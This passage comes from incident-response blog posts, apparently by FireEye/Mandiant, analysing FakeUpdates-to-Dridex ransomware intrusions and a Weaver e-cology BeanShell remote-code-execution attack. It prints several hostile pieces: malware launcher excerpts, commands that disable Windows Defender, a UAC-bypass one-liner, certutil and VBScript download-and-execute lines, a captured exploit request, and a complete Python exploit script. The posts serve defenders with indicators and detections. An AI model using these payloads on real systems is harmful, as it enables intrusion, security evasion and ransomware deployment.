This activity is nearly identical to the steps observed in our April 2018 post, indicating only minor changes in data collection during this stage. For example, in the earlier iteration of this campaign, we did not observe the collection of the script responsible for the C2 communication. Following the system information gathering, the data is subsequently XOR-encoded and sent via another custom HTTP POST request request to the same C2 server, with the data included in the parameter “b=”. Figure 5 provides a snippet of sample of the second HTTP request.


Figure 5: Second HTTP POST request after successful system information gathering

Figure 6 provides a copy of the decoded content, showing the various data points the malware transmitted back to the C2 server.

0=500
1=C:\Users\User\AppData\Local\Temp\Chrome.js
2=AMD64
3=SYSTEM1
4=User
5=4
6=Windows_NT
7=DOMAIN
8=HP
9=HP EliteDesk
10=BIOS_VERSION
11=Windows Defender|Vendor Anti-Virus
12=Vendor Anti-Virus|Windows Defender|
13=00:00:00:00:00:00
14=Enhanced (101- or 102-key)
15=USB Input Device
16=1024x768
17=System Idle Process|System|smss.exe|csrss.exe|wininit.exe|csrss.exe| winlogon.exe|services.exe|lsass.exe|svchost.exe|svchost.exe|svchost.exe|svchost.exe|svchost.exe|
svchost.exe|spoolsv.exe|svchost.exe|svchost.exe|HPLaserJetService.exe|conhost.exe…

Figure 6: Decoded system information gathered by the FakeUpdates malware

After receiving the system information, the C2 server responds with an encoded payload delivered via chunked transfer-encoding to the infected system. This technique evades conventional IDS/IPS appliances, allowing for the second-stage payload to successfully download. During our investigations and FireEye Intelligence’s monitoring, we recovered encoded payloads that delivered one of the following:

  • Dridex (Figure 7)
  • NetSupport Manage Remote Access Tools (RATs) (Figure 8)
  • Chthonic or AZORult (Figure 9)
    function runFile() {
        var lastException = '';
        try {
            var wsh = new ActiveXObject("WScript.Shell");
            wsh.Run('cmd /C rename "' + _tempFilePathSave + '" "' + execFileName + '"');
            WScript.Sleep(3 * 1000);
            runFileResult = wsh.Run('"' + _tempFilePathExec + '"');
            lastException = '';
        } catch (error) {
            lastException = error.number;
            runFileExeption += 'error number:' + error.number + ' message:' + error.message;
        }
    }

Figure 7: Code excerpt observed in FakeUpdates used to launch Dridex payloads

    function runFile() {
        var lastException = '';
        try {
            var wsh = new ActiveXObject("WScript.Shell");
            runFileResult = wsh.Run('"' + _tempFilePathExec + '" /verysilent');
            lastException = '';
        } catch (error) {
            lastException = error.number;
            runFileExeption += 'error number:' + error.number + ' message:' + error.message;
        }
    }

Figure 8: Code excerpt observed in FakeUpdates used to launch NetSupport payloads

    function runFile() {
        var lastException = '';
        try {
            var wsh = new ActiveXObject("WScript.Shell");
            runFileResult = wsh.Run('"' + _tempFilePathExec + '"');
            lastException = '';
        } catch (error) {
            lastException = error.number;
            runFileExeption += 'error number:' + error.number + ' message:' + error.message;
        }
    }

Figure 9: Code excerpt observed in FakeUpdates used to launch Chthonic and AZORult payloads

During this process, the victim system downloads and executes nircmdc.exe, a utility specifically used during the infection process to save two system screenshots. Figure 10 provides an example command used to capture the desktop screenshots.

"C:\Users\User\AppData\Local\Temp\nircmdc.exe" savescreenshot "C:\Users\User\AppData\Local\Temp\6206a2e3dc14a3d91.png"

Figure 10: Sample command used to executed the Nircmd tool to take desktop screenshots

The PNG screenshots of the infected systems are then transferred to the C2 server, after which they are deleted from the system. Figure 11 provides an example of a HTTP POST request, again with the custom Age and User-Agent headers.


Figure 11: Screenshots of the infected system are sent to an attacker-controlled C2

Interestingly, the screenshot file transfers were neither encoded nor obfuscated, as with other data elements transferred by the FakeUpdates malware. As soon as the screenshots are transferred, nircmdc.exe is deleted.

All Hands on Deck

In certain investigations, the incident was far from over. Following the distribution of Dridex v4 binaries (botnet IDs 199 and 501), new tools and frameworks began to appear. FireEye identified the threat actors leveraged their Dridex backdoor(s) to execute the publicly-available PowerShell Empire and/or Koadic post-exploitation frameworks. Managed Defense also identified the FakeUpdates to Dridex infection chain resulting in the download and execution of PoshC2, another publicly available tool. While it could be coincidental, it is worth noting that the use of PoshC2 was first observed in early September 2019 following the announcement that Empire would no longer be maintained and could represent a shift in attacker TTPs. These additional tools were often executed between 30 minutes and 2 hours after initial Dridex download. The pace of the initial phases of related attacks possibly suggests that automated post-compromise techniques are used in part before interactive operator activity occurs.

We identified extensive usage of Empire and C2 communication to various servers during these investigations. For example, via process tracking, we identified a Dridex-injected explorer.exe executing malicious PowerShell: a clear sign of an Empire stager:


Figure 12: An example of PowerShell Empire stager execution revealed during forensic analysis

In the above example, the threat actors instructed the victim system to use the remote server 185.122.59[.]78 for command-and-control using an out-of-the-box Empire agent C2 configuration for TLS-encrypted backdoor communications.

During their hands-on post-exploitation activity, the threat actors also moved laterally via PowerShell remoting and RDP sessions. FireEye identified the use of WMI to create remote PowerShell processes, subsequently used to execute Empire stagers on domain-joined systems. In one specific case, the time delta between initial Empire backdoor and successful lateral movement was under 15 minutes. Another primary goal for the threat actor was internal reconnaissance of both the local system and domain the computer was joined to. Figure 13 provides a snippet of Active Directory reconnaissance commands issued by the attacker during one of our investigations.


Figure 13: Attacker executed commands

The threat actors used an Empire module named SessionGopher and the venerable Mimikatz to harvest endpoint session and credential information. Finally, we also identified the attackers utilized Empire’s Invoke-EventVwrBypass, a Windows bypass technique used to launch executables using eventvwr.exe, as shown in Figure 14.

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -c $x=$((gp HKCU:Software\Microsoft\Windows Update).Update); powershell -NoP -NonI -W Hidden -enc $x


Figure 14: PowerShell event viewer bypass

Ransomware Attacks & Operator Tactics

Within these investigations, FireEye identified the deployment BitPaymer or DoppelPaymer ransomware. While these ransomware variants are highly similar, DoppelPaymer uses additional obfuscation techniques. It also has enhanced capabilities, including an updated network discovery mechanism and the requirement of specific command-line execution. DoppelPaymer also uses a different encryption and padding scheme.

The ransomware and additional reconnaissance tools were downloaded through public sharing website repositories such as DropMeFiles and SendSpace. Irrespective of the ransomware deployed, the attacker used the SysInternals utlity PSEXEC to distribute and execute the ransomware.  

Notably, in the DoppelPaymer incident, FireEye identified that Dridex v2 with the Botnet ID 12333 was downloaded onto the same system previously impacted by an instance of Dridex v4 with Botnet ID 501. Within days, this secondary Dridex instance was then used to enable the distribution of DoppelPaymer ransomware.  Prior to DoppelPaymer, the threat actor deleted volume shadow copies and disabled anti-virus and anti-malware protections on select systems. Event log artifacts revealed commands executed through PowerShell which were used to achieve this step (Figure 15):

Event Log

EID

Message

Microsoft-Windows-PowerShell%4Operational

600

 HostApplication=powershell.exe Set-MpPreference -DisableRealtimeMonitoring $true

Microsoft-Windows-PowerShell%4Operational

600

 HostApplication=powershell.exe Uninstall-WindowsFeature -Name Windows-Defender

Application

1034

Windows Installer removed the product. Product Name: McAfee Agent-++-5.06.0011-++-1033-++-1603-++-McAfee, Inc.-++-(NULL)-++--++-. Product Version: 82.

Figure 15: Event log entries related to the uninstallation of AV agents and disablement of real-time monitoring

The DoppelPaymer ransomware was found in an Alternate Data Stream (ADS) in randomly named files on disk. ADSs are attributes within NTFS that allow for a file to have multiple data streams, with only the primary being visible in tools such as Windows Explorer. After ransomware execution, files are indicated as encrypted by being renamed with a “.locked” file extension. In addition to each “.locked” file, there is a ransom note with the file name “readme2unlock.txt” which provides instructions on how to decrypt files.


Figure 16: DoppelPaymer ransomware note observed observed during a Mandiant Incident Response investigation

Ransomware? Not In My House!

Over the past few years, we have seen ransomware graduate from a nuisance malware to one being used to extort victim networks out of significant sums of money. Furthermore, threat actors are now coupling ransomware with multiple toolkits or other malware families to gain stronger footholds into an environment. In this blog post alone, we witnessed a threat actor move through multiple toolsets - some automated, some manual - with the ultimate goal of holding the victim organization hostage.

Ransomware also raises the stakes for unprepared organizations as it levels the playing field for all areas of your enterprise. Ransomware proves that threat actors don’t need to get access to the most sensitive parts of your organization – they need to get access to the ones that will disrupt business processes. This widens your attack surface, but luckily, also gives you more opportunity for detection and response. Mandiant recently published an in depth white paper on Ransomware Protection and Containment Strategies, which may help organizations mitigate the risk of ransomware events.

Indicators

The following indicator set is a collective representation of artifacts identified during investigations into multiple customer compromises.

Type

Indicator(s)

FakeUpdates Files

0e470395b2de61f6d975c92dea899b4f

7503da20d1f83ec2ef2382ac13e238a8

102ae3b46ddcb3d1d947d4f56c9bf88c

aaca5e8e163503ff5fadb764433f8abb

2c444002be9847e38ec0da861f3a702b

62eaef72d9492a8c8d6112f250c7c4f2

175dcf0bd1674478fb7d82887a373174
10eefc485a42fac3b928f960a98dc451
a2ac7b9c0a049ceecc1f17022f16fdc6

FakeUpdates Domains & IP Addresses

<8-Characters>.green.mattingsolutions[.]co
<8-Characters>.www2.haciendarealhoa[.]com
<8-Characters>.user3.altcoinfan[.]com
93.95.100[.]178
130.0.233[.]178
185.243.115[.]84

gnf6.ruscacademy[.]in

backup.awarfaregaming[.]com

click.clickanalytics208[.]com

track.amishbrand[.]com

track.positiverefreshment[.]org

link.easycounter210[.]com

nircmdc.exe

8136d84d47cb62b4a4fe1f48eb64166e

Dridex

7239da273d3a3bfd8d169119670bb745

72fe19810a9089cd1ec3ac5ddda22d3f
07b0ce2dd0370392eedb0fc161c99dc7
c8bb08283e55aed151417a9ad1bc7ad9

6e05e84c7a993880409d7a0324c10e74

63d4834f453ffd63336f0851a9d4c632

0ef5c94779cd7861b5e872cd5e922311

Empire C2

185.122.59[.]78

109.94.110[.]136

Detecting the Techniques

FireEye detects this activity across our platforms, including named detections for Dridex, Empire, BitPaymer and DoppelPaymer Ransomware. As a result of these investigations, FireEye additionally deployed new indicators and signatures to Endpoint and Network Security appliances.  This table contains several specific detection names from a larger list of detections that were available prior to this activity occurring.

Platform

Signature Name

 

Endpoint Security

 

HX Exploit Detection
Empire RAT (BACKDOOR)
EVENTVWR PARENT PROCESS (METHODOLOGY)
Dridex (BACKDOOR)
Dridex A (BACKDOOR)
POWERSHELL SSL VERIFICATION DISABLE (METHODOLOGY)
SUSPICIOUS POWERSHELL USAGE (METHODOLOGY)
FAKEUPDATES SCREENSHOT CAPTURE (METHODOLOGY)

Network Security

Backdoor.FAKEUPDATES
Trojan.Downloader.FakeUpdate
Exploit.Kit.FakeUpdate
Trojan.SSLCert.SocGholish

MITRE ATT&CK Technique Mapping

ATT&CK

Techniques

Initial Access

Drive-by Compromise (T1189), Exploit Public-Facing Application (T1190)

Execution

PowerShell (T1086), Scripting (T1064), User Execution (T1204), Windows Management Instrumentation (T1047)

Persistence

DLL Search Order Hijacking (T1038)

Privilege Escalation

Bypass User Account Control (T1088), DLL Search Order Hijacking (T1038)

Defense Evasion

Bypass User Account Control (T1088), Disabling Security Tools (T1089), DLL Search Order Hijacking (T1038), File Deletion (T1107), Masquerading (T1036), NTFS File Attributes (T1096), Obfuscated Files or Information (T1027), Scripting (T1064), Virtualization/Sandbox Evasion (T1497)

Credential Access

Credential Dumping (T1003)

Discovery

Account Discovery (T1087), Domain Trust Discovery (T1482), File and Directory Discovery (T1083), Network Share Discovery (T1135), Process Discovery (T1057), Remote System Discovery (T1018), Security Software Discovery (T1063), System Information Discovery (T1082), System Network Configuration Discovery (T1016), Virtualization/Sandbox Evasion (T1497)

Lateral Movement

Remote Desktop Protocol (T1076),  Remote File Copy (T1105)

Collection

Data from Local System (T1005), Screen Capture (T1113)

Command And Control

Commonly Used Port (T1436), Custom Command and Control Protocol (T1094) ,Data Encoding (T1132), Data Obfuscation (T1001), Remote Access Tools (T1219), Remote File Copy (T1105), Standard Application Layer Protocol (T1071)

Exfiltration

Automated Exfiltration (T1020), Exfiltration Over Command and Control Channel (T1041)

Impact

Data Encrypted for Impact (T1486), Inhibit System Recovery (T1490), Service Stop (T1489)

Acknowledgements

A huge thanks to James Wyke and Jeremy Kennelly for their analysis of this activity and support of this post.

Catch an on-demand recap on this and the Top 5 Managed Defense attacks this year.

CertUtil Qualms: They Came to Drop FOMBs

29 October 2019 at 18:00

This blog post covers an interesting intrusion attempt that Mandiant Managed Defense thwarted involving the rapid weaponization of a recently disclosed vulnerability combined with the creative use of WMI compiled “.bmf” files and CertUtil for obfuscated execution.

This intrusion attempt highlights a number of valuable lessons in security, chiefly: attackers work fast – faster than many security teams can react. Additionally, patching complex software environments while keeping the business operational makes it difficult to keep pace with attackers exploiting vulnerabilities, especially when these truths are coupled with rapid exploitation with innovative obfuscation methods utilizing the operating systems own feature set against it.

Everybody’s Working for the Recon

While monitoring our customers around the clock, FireEye Managed Defense identified suspicious file write activity on a system at a European manufacturing client and began our initial investigation by collecting the available volatile and non-volatile data from the affected host. Once evidence collection had completed, we began parsing the forensic data using the parsers available in FireEye's free Redline forensic analysis tool. Analysis of the logs quickly revealed that there were commands executed on the host which were consistent with interactive reconnaissance activity. Typically, once a host has successfully been compromised, attackers are presented with a command shell window which allows them to run commands on the host. These commands can consist of reconnaissance activity which expose useful information about the host to the attacker. The following is a snippet of the commands that we observed successfully executed on the host:  

ipconfig.exe ipconfig /all
whoami.exe whoami

The associated parent process that handled execution of the aforementioned listed processes was: "\Weaver\jdk_new\bin\javaw.exe". 

FOMBs AWAY!

Once the attackers gained access to the web server by exploiting an unknown vulnerability, they attempted to further pivot control within the system through the use of Windows Management Instrumentation (WMI). They leveraged WMI's execution process, which takes Managed Object Format (MOF) files as input and compiles them into the WMI buffer, resulting in a compiled “.bmf” output file. The attackers wrote their second-stage payload and compiled it with WMI. Finally, they uploaded the compiled “.bmf” file to their web server and modified the file to masquerade as a ".rar" file .

Upon further assessment of the activity, we observed that after the threat actors gained access to the affected web server, they utilized a Windows native binary called “Certutil.exe” to download malicious code from a remote resource. Our investigation revealed that an instance of the process “Certutil.exe” was executed with the following command line arguments:   

certutil  -urlcache -split
-f http://[DOMAIN]/uploads/180307/l.rar c:\windows\temp\l.rar

Options

Description 

-urlcache 

Display or delete URL cache entries

-split 

Split embedded ASN.1 elements, and save to files

 

-f 

Force overwrite

(Source: Microsoft certutil page)

FireEye has observed this methodology executed numerous times by both ethical hackers and unauthorized threat actors in addition to Certutil’s benign use as a part of legitimate business applications and operations.

Shortly after the second-stage payload was downloaded, we observed several file write events related to `l.rar` (MD5: 4084eb4a41e3a01db2fe6f0b91064afa). Of particular note were: 

cmd.exe  cmd /c mofcomp.exe C:\Windows\temp\l.rar
cmd.exe cmd /c del C:\Windows\temp\l.rar

The aforementioned commands utilize Window's "cmd.exe" interpreter to run "mofcomp.exe" on the newly obtained "l.rar". This process is designed to parse a file containing MOF statements and add any class and class instances defined in the file to the WMI repository, and subsequently delete the aforementioned file.

The use of “mofcomp.exe” for attackers and defenders was first proposed at MIRcon 2014 by FireEye Mandiant incident responders Christopher Glyer and Devon Kerr in their “There’s Something about WMI” talk (Figure 1).


Figure 1: Proposed use of MOF files for red and blue teams

We obtained the file "l.rar" for further analysis and observed that the file header began with "FOMB". This file header when conveniently flipped is "BMOF", as in Binary Managed Object Format. With this information in hand we began searching for methods to reverse the compiled binary. Upon analyzing the file in FireEye's sandbox environment, we were able to obtain the following information from the BMOF file:

On Error Resume Next:execmydler():Function execmydler():Set
P=CreateObject("WinHttp.WinHttpRequest.5.1"):P[.]Open
"GET","hxxp[://[DOMAIN]/d/dl[.]asp",0:P[.]Send():b=P[.]responseText:M=Spli
t(b,",",-1,1):For Each Od In M:Nd=Nd+Chr(Od-
2):Next:Set P=Nothing:If Len(Nd) > 10 Then:Execute(Nd):End If:End

In an attempt to masquerade activities, the attackers wrote an MOF script and compiled it into a BMOF file, then ran the malicious BMOF file on the victim machine via WMI. The aforementioned code attempts to download a second-stage payload from "hxxp[://[DOMAIN]/d/dl[.]asp" when executed. Since the WMI buffer is involved, this attack vector opens the door to gaining a persistent foothold in the victim environment.

During this research period we also found an open-sourced project titled "bmfdec" that also decompiled BMOF files. 

Uncovering the Exploit

The attackers were active on September 22, and as such the majority of the investigation was conducted around this timeframe. Analysis of FireEye Endpoint Security ring buffer events uncovered reconnaissance commands executed on the system including whoami, ipconfig and the downloading of additional binaries. However, further analysis of the system did not uncover an initial exploit within the same timeframe of these commands. Analysis of the HTTP logs also did not uncover the initial payload. Within the HTTP logs we identified suspicious HTTP POST requests including requests to ’/weaver/bsh.servlet.BshServlet/`, but this was a busy server and the payload was not included in the logging, only metadata.

Example HTTP log entry

'-` 2886000` 10.10.10.10` -` -` "[23/Sep/2019:10:10:10 +0800]"` "POST
/weaver/bsh.servlet.BshServlet/ HTTP/1.1"`  "-"'

FireEye Endpoint Security has the ability to collect a memory image and this was completed on the same day as the initial activity. As memory is volatile, the earlier it's collected in an investigation the more likely you are to uncover additional evidence. We used Volatility to analyze the memory image looking for any suspicious event log entries, process creation, registry entries, etc. While reviewing the memory image, we identified numerous instances of mshta.exe spawned under javaw.exe, the creation date for these processes was 2019-09-20, and we pivoted our investigative focus to that date.

.. httpd.exe            2388    604      3     84 2019-06-28 09:32:53 UTC+0000 
... java.exe            2420   2388      0 ------ 2019-06-28 09:32:53 UTC+0000 
.... javaw.exe          4804   2420     36    530 2019-06-28 09:33:19 UTC+0000 
..... javaw.exe         5976   4804    177   4925 2019-06-28 09:33:21 UTC+0000 
...... mshta.exe       17768   5976     12    320 2019-09-20 14:20:00 UTC+0000 
...... mshta.exe        9356   5976     12    306 2019-09-20 11:12:04 UTC+0000 
...... mshta.exe       22416   5976     12    310 2019-09-20 11:31:14 UTC+0000 
...... mshta.exe       23240   5976     13    318 2019-09-20 14:20:01 UTC+0000 
...... mshta.exe       15116   5976     12    311 2019-09-20 11:31:23 UTC+0000 

This matched our initial findings and gave us some further context. Unfortunately, the initially-acquired forensic evidence, including the endpoint triage package and the memory image, did not provide a conclusive filesystem narrative around that date. At this stage the client had pulled the system offline and began remediation steps, however we still didn't know exactly which exploit was leveraged to gain a foothold on this system. We knew the process path which indicated it was httpd.exe being leveraged to run malicious javaw.exe commands. This lined up with our HTTP log analysis, yet we didn't have the payload.

String it to Weaver

Anybody who's worked in incident response long enough knows that when parsing the data has failed to uncover the evidence you're looking for, the last thing you can try is sifting through the raw bytes and strings of a file. Volatility has a handy feature to map the string offset to the corresponding process and virtual address. Once this is complete grep searching for specific keywords and filtering through the strings identified a number of HTTP POST requests sitting in unallocated space, expanding our grep using it's context parameter uncovered interesting HTTP POST requests and their payload.

Example POST payload:

POST /weaver/bsh.servlet.BshServlet/ HTTP/1.1
Host: x.x.x.x:88
Connection: close
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 134
bsh.script=eval .("ex"+"ec(\"mshta hxxp:// www[DOMAIN]/index[.]hta\")");&bsh.servlet.output=raw23; languageidweaver=7; testBanCookie=test; JSESSIONID=xxxxxxxxxx; Systemlanguid=7
tBanCookie=test; Systemlanguid=7; loginidweaver=xxx
st; Systemlanguid=7; loginidweaver=xxx

We knew this was the exploit we were looking for. The payload was exactly what the attacker was executing and the URI confirmed the process path we had identified from the memory image. It was making a request to BshServlet. It was unclear if this vulnerability was known, as there was no CVE associated with the software. Open source research identified a number of Chinese blog sites discussing a newly identified RCE vulnerability with Weaver e-cology OA system. The vulnerability lies within the BeanShell component of the OA system. The attacker could send a specially crafted payload to ’\weaver/bsh.servlet.BshServlet` in order to launch arbitrary commands. The following POC script was discovered on one of the aforementioned Chinese blog sites.

MD5: 49b23c67c2a378fb8c76c348dd80ff61

import requests
import sys   

headers = { 
   'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25', 
   'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3', 
   'Accept-Language': 'zh-CN,zh;q=0.9', 
   'Content-Type': 'application/x-www-form-urlencoded'
}   

  

def exploit(url,cmd): 
   target=url+'/weaver/bsh.servlet.BshServlet' 
   payload='bsh.script=eval%00("ex"%2b"ec(\\"cmd+/c+{}\\")");&bsh.servlet.captureOutErr=true&bsh.servlet.output=raw'.format(cmd) 
   res=requests.post(url=target,data=payload,headers=headers,timeout=10) 
   res.encoding=res.apparent_encoding 
   print(res.text)   

if __name__ == '__main__': 
   url=sys.argv[1] 
   while(1): 
       cmd=input('cmd:') 
       exploit(url,cmd)   

The script contained some hardcoded HTTP header values including user-agent, accepted data types, accepted languages and content-type. The script builds an HTTP request and allows the user to specify the command they would like to run; it would then append the URL and command to the crafted exploit to execute. In our instance the attacker was leveraging this vulnerability to launch mshta.exe to download a second stage payload.

Using search engines for internet connected devices such as Shodan or Censys we can quickly identify systems running the Weaver e-cology platform. Using this technique, we identified 28 internet facing system that are potentially vulnerable.

Conclusion

This isn't a new story; Managed Defense responds to cases like this every week. The usage of FOMB was particularly interesting in this instance and it's the first case in Managed Defense we've seen this technique being leveraged in an attempt to bypass defenses. When leveraged correctly, compiled “.bmf” files can be effectively used to sneak into an environment undetected and gain a foothold via persistence in the WMI buffer.

There are many procedural and technical controls that could help prevent a system being compromised. Most larger enterprises are complex and identifying all publicly exposed software and services can be challenging. We’ve worked on many cases where system administrators didn’t believe their system was directly accessible from the internet only to later confirm it was. Prioritizing particular patches can be difficult and if you don’t think a RCE vulnerability is exposed then the Risk level might be incorrectly classified as low.

A combination of controls is typically the best approach. In Managed Defense we assume these controls are imperfect and attackers will find a way to bypass them. Deploying strong monitoring capabilities combined with a team of analysts hunting through lower fidelity signatures or “weak signals” can uncover otherwise unnoticed adversaries.

Learn more about Mandiant Managed Defense here. Catch an on-demand recap on this and the Top 5 Managed Defense attacks this year.

Weaver Build Timeline

  • 2019-09-20: Weaver Patch released
  • 2019-09-20: Exploit observed in Managed Defense
  • 2019-09-22: Exploit POC blogged
  • 2019-10-03: First public mention outside China

References

❌